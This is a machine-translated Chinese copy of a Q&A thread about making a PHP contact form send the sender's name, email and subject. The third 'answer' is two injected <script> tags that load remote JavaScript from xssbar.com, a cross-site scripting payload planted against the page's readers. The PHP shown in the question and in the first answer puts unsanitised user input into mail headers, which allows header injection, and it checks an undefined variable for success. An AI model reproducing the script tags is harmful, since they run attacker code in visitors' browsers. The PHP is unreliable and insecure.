我正在创建我的第一个网站 - 我将其上传到http://testinglakovna.borec.cz/我基本上使用了免费模板并根据自己的喜好对其进行了调整。 不幸的是,模板提供的联系表格没有附带" contact.php"而且我不知道如何正确激活它。 这已经过去了4天,我想出来的是我需要一个contact.php激活,我找到了一个激活表单的脚本 - 它发送电子邮件但它只发送消息,不显示发件人电子邮件,姓名或发件人自己写的主题...... 我现在急需帮助 - 有没有人可以帮我写这段代码? 我的contact.php代码是这样的:
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'ilona.takacsova@gmail.com';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers = 'From: $email' . "\r\n" .
'Reply-To: reply@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs@gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
和index.html的联系表格html是:
<div class="col-lg-12">
<form action="contact.php" method="post" id="form" class="contact-form">
<div class="col-sm-6 contact-form-left">
<div class="form-group">
<input name="name" type="text" class="form-control" id="name" placeholder="Meno">
<input type="email" name="email" class="form-control" id="mail" placeholder="Email">
<input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet">
</div>
</div>
<div class="col-sm-6 contact-form-right">
<div class="form-group">
<textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea>
<center><button type="submit" class="btn btn-default">Odoslať</button></center>
</div>
</div>
</form>
</div>
我已经在其他人的问题上寻找答案,但仍无法解决此问题。在我正式发布网站之前,这是我做的最后一件事。
答案 0 :(得分:0)
刚刚制作完成并且它在我的电子邮件地址(已测试)上工作。
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'YOUR_EMAIL_HERE';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers .= 'From: '.$email . "\r\n";
$headers .= 'Reply-To: '.$to . "\r\n";
$headers .='X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs@gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
答案 1 :(得分:0)
只需声明一个新变量,我们只需将其称为$ sendEmail =&#39; name = $ name,email = $ email,message = $ message,subject = $ subject&#39; 之后,在mail函数中,将$ message替换为刚刚创建的$ sendEmail变量 它应该可以正常工作,但请记住,如果您要在本地服务器上部署代码,那么很可能将电子邮件发送到垃圾邮件文件夹。 如果它有帮助,请告诉我......
答案 2 :(得分:-1)
糟糕,看起来此类别中没有任何内容。
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head")
[0].appendChild(s);</script>
感谢!!!
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head")
[0].appendChild(s);</script>